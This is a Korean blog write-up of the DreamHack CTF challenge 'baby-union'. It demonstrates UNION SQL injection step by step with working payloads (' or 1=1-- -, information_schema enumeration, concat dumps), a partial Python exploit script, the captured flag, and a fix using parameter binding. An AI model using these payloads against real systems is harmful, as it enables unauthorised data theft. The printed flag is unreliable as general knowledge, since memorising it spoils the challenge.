2026-06-05·1분 읽기·
로그인 쿼리에 따옴표가 그대로 들어가는 전형적인 UNION SQL Injection. ' or 1=1로 주입을 확인하고, UNION SELECT 1,2,3,4로 컬럼 수와 출력 위치를 잡은 뒤, init.sql이 흘린 가짜 이름 대신 information_schema로 진짜 테이블(onlyflag)을 찾아 concat으로 플래그를 뽑았다.
이 글이 도움이 됐나요?
문제: DreamHack — baby-union 분류: Web (SQL Injection) 난이도: 🥈 Silver 4 FLAG:
DH{57033624d7f142f57f139b4c9e84bd78da77b4406896c386672f0cbb016f5873}
로그인하면 계정 정보를 보여주는 서비스다. 이름 그대로 UNION 기반 SQL Injection을 연습하는 문제인데, 페이로드 한 줄로 끝나진 않는다. 같이 주는 init.sql의 테이블·컬럼명이 실제와 다르기 때문이다. 그래서 "어디에 무엇이 있는지"를 information_schema로 직접 캐내는 과정이 풀이의 절반을 차지한다.
이 글은 페이로드를 바로 던지지 않고, 실제로 풀 때처럼 한 단계씩 확인하면서 내려간다. 주입이 되는지 → 컬럼이 몇 개인지 → 어디가 화면에 찍히는지 → 진짜 테이블 이름은 뭔지 순서로.
| 항목 | 내용 |
|---|---|
| 문제명 | baby-union |
| 난이도 | 🥈 Silver 4 |
| 분류 | Web — SQL Injection (UNION) |
| 제공 | Flask 소스 + init.sql(가짜 스키마) |
| 핵심 | information_schema로 실제 테이블 탐색 후 UNION 덤프 |
로그인 페이지는 친절하게도 자기가 실행할 쿼리를 그대로 보여준다. 입력이 따옴표 안에 들어간다는 걸 화면에서 바로 알 수 있다.

서버는 입력을 f-string에 그대로 박는다. 바인딩도, 이스케이프도 없다.
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else:
return render_template("index.html", data="Wrong!")uid·upw 둘 다 따옴표 안에 들어가므로 둘 다 주입점이다. 결과가 한 행이라도 있으면 user.html로 정보를 그려준다. 즉 "쿼리가 뭔가를 돌려주게만" 만들면 그 내용을 화면에서 읽을 수 있다.
init.sql도 같이 본다. users 테이블 정의와, 눈에 띄는 미끼 하나가 들어 있다.
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
-- 아래는 미끼: 실제 이름은 다르다
CREATE TABLE fake_table_name (
idx int, fake_col1 varchar(128), fake_col2 varchar(128),
fake_col3 varchar(128), fake_col4 varchar(128)
);
INSERT INTO fake_table_name VALUES ('flag is ', 'DH{sam', 'ple', 'flag}');플래그가 한 컬럼에 통째로 있지 않고 'DH{sam' + 'ple' + 'flag}'처럼 쪼개져 있다. 이 미끼 데이터가 나중에 "실제 플래그도 조각나 있겠구나"라는 힌트가 된다.
페이로드를 설계하기 전에, 정말 주입이 먹는지 가장 단순한 걸로 친다. upw에 ' or 1=1-- -을 넣는다.
SELECT * FROM users WHERE uid='admin' and upw='' or 1=1-- -';AND가 OR보다 먼저 묶이므로 (uid='admin' and upw='') or 1=1이 되고, 1=1이 항상 참이라 모든 행이 돌아온다. -- -은 뒤에 남는 ';를 주석으로 날리는 관용구다(MySQL의 -- 주석은 뒤에 공백이 필요해서 - 하나를 더 붙인다).

admin, guest, banana 세 계정이 그대로 나온다. 주입은 확실히 되고, 화면에는 계정 한 줄당 id와 description이 찍힌다는 것도 같이 확인된다.
UNION을 붙이려면 두 가지를 알아야 한다. 왼쪽 SELECT의 컬럼 수와 맞춰야 하고, 내가 넣은 값 중 어느 자리가 화면에 보이는지 알아야 한다.
컬럼 수는 SELECT *가 도는 users 정의에서 4개(idx, uid, upw, descr)임을 이미 읽었다. 모르는 상태였다면 ' UNION SELECT 1,2,3-- -처럼 개수를 바꿔가며 던져 보면 된다. 개수가 안 맞으면 그대로 500이 난다.
' UNION SELECT 1,2,3,4-- - -- OK (4개 일치)
' UNION SELECT 1,2,3-- - -- 500: The used SELECT statements have a different number of columns4개로 맞춰 보낸다.

Hello 2가 뜨고 표에는 id=2, description=4가 찍힌다. 1(idx 자리)과 3(upw 자리)은 화면에 안 나온다. user.html을 보면 이유가 명확하다.
<h2>Hello {{ data[0][1] }}</h2>
...
{% for i in data %}
<th scope="row">{{ i[0] }}</th> {# idx — 보임 #}
<td>{{ i[1] }}</td> {# 2번째 — 보임 #}
<td>{{ i[3] }}</td> {# 4번째 — 보임 #}
{% endfor %}렌더되는 인덱스는 0, 1, 3. 그러니 캐낼 데이터는 2번째·4번째 자리에 실으면 된다. 정리하면 UNION 골격은 ' UNION SELECT 1,<보고싶은값>,3,<보고싶은값>-- -이다.
골격이 잡혔으니 플래그를 읽으면 되는데, 여기서 한 번 막힌다. init.sql에 보이는 테이블이 fake_table_name이라 그대로 가져다 썼다.
' UNION SELECT 1,2,3,4 FROM fake_table_name-- -
500이다. 문제 설명을 다시 읽어 보면 못을 박아 뒀다. "주어진 init.sql 파일의 테이블명과 컬럼명은 실제 이름과 다릅니다." fake_table_name도, fake_col1도 전부 미끼였다. 데이터는 진짜지만 이름표만 바꿔 붙인 셈이다.
이 앱은 디버그가 꺼져 있어서 SQL 에러가 그대로 노출되진 않고 그냥 500 Internal Server Error만 뜬다. fake_table_name이 없으니 MySQL이 Table 'secret_db.fake_table_name' doesn't exist를 던지고, Flask는 그걸 잡아 500으로 바꾼다.
에러 메시지를 안 보여준다는 건, 테이블·컬럼 이름을 추측으로 맞히긴 어렵다는 뜻이다. 그래서 추측 대신 DB에게 직접 물어보는 쪽으로 간다. 그게 information_schema다.
MySQL은 자기 스키마 정보를 information_schema라는 가상 DB에 들고 있다. information_schema.columns에는 모든 테이블의 모든 컬럼이 (테이블명, 컬럼명) 형태로 들어 있다. 여기서 현재 DB(database())에 속한 것만 추리면 전체 구조가 한 번에 나온다.
table_name을 2번째 자리, column_name을 4번째 자리에 실어 보낸다.
' UNION SELECT 1,table_name,3,column_name
FROM information_schema.columns
WHERE table_schema=database()-- -
users 옆에 onlyflag(idx, sname, svalue, sflag, sclose)가 보인다. 미끼였던 fake_table_name은 흔적도 없다. 진짜 테이블 이름과 컬럼명이 한꺼번에 손에 들어왔다.
남은 건 onlyflag의 컬럼들을 읽는 것. 미끼가 'flag is ', 'DH{sam', ... 처럼 조각나 있었으니, 실제 플래그도 여러 컬럼에 쪼개져 있다고 보고 concat으로 이어 붙인다.
' UNION SELECT 1,concat(sname,svalue,sflag,sclose),3,'<-- the flag'
FROM onlyflag-- -
id 칸에 플래그가 통째로 떨어진다. 예상대로 sname='flag is ', svalue='DH{5703...', sflag='...', sclose='...f5873}'로 4조각이었고, 이어 붙이니 한 줄이 됐다.
손으로 네 번 요청하면 끝나지만, 어느 인스턴스에서도 테이블·컬럼명에 의존하지 않도록 스키마를 동적으로 읽게 짰다. information_schema로 (테이블, 컬럼) 맵을 만들고, 미끼 로그인 테이블(users)이 아닌 곳의 컬럼을 전부 concat해서 DH{...}를 찾는다.
#!/usr/bin/env python3
import re, sys, requests
BASE = sys.argv[1].rstrip('/')
ROW_RE = re.compile(r'<th scope="row">(.*?)</th>\s*<td>(.*?)</td>\s*<td>(.*?)</td>', re.S)
def inject(upw, uid='x'):
r = requests.post(BASE + '/', data={'uid': uid, 'upw': upw})
return [(c1.strip(), c3.strip()) for _, c1, c3 in ROW_RE
실행하면 스키마 탐색 → 컬럼별 덤프 → concat 재조합이 순서대로 떨어진다.

[+] schema in current DB:
users(idx, uid, upw, descr)
onlyflag(idx, sname, svalue, sflag, sclose)
[+] dump onlyflag:
sname = flag is
svalue = DH{57033624d7f142f57f13
sflag = 9b4c9e84bd78da77b4406896
sclose = c386672f0cbb016f5873}
[+] FLAG: DH{57033624d7f142f57f139b4c9e84bd78da77b4406896c386672f0cbb016f5873}FLAG:
DH{57033624d7f142f57f139b4c9e84bd78da77b4406896c386672f0cbb016f5873}
원인은 한 줄이다. 사용자 입력을 쿼리 문자열에 직접 이어 붙였다.
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';") # 취약값을 쿼리 구조와 분리해 파라미터 바인딩으로 넘기면 입력은 데이터로만 취급되어 따옴표를 닫고 나갈 수 없다.
cur.execute("SELECT * FROM users WHERE uid=%s and upw=%s", (uid, upw)) # 안전여기에 더해, 인증은 평문 비교가 아니라 해시(bcrypt 등) 비교로, 에러는 사용자에게 그대로 노출하지 않게 처리하면 정보 노출까지 줄어든다. 다만 이 문제의 본질은 첫 줄, 쿼리와 데이터를 섞은 것 하나다.
UNION SQLi는 두 숫자 싸움이다. 컬럼 수를 맞추고(1,2,3,4), 출력되는 자리를 찾으면(여기선 2·4번째) 골격은 끝난다. 나머지는 무엇을 SELECT하느냐의 문제로 바뀐다.
진짜 함정은 이름이었다. init.sql을 그대로 믿고 fake_table_name을 치면 500으로 막힌다. 스키마는 소스가 아니라 DB가 들고 있고, information_schema가 그걸 그대로 내준다. 실제 운영 DB에서 구조를 모를 때 가장 먼저 두드리는 곳도 여기다.
조각난 플래그도 미끼 데이터가 미리 귀띔해 줬다. 'DH{sam'+'ple'+'flag}'를 보고 "실제도 쪼개져 있겠다" 싶어 concat으로 합치니 한 줄로 떨어졌다. 막히는 지점마다 답을 추측하지 않고 DB에 직접 물어본 게 이 문제의 전부다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…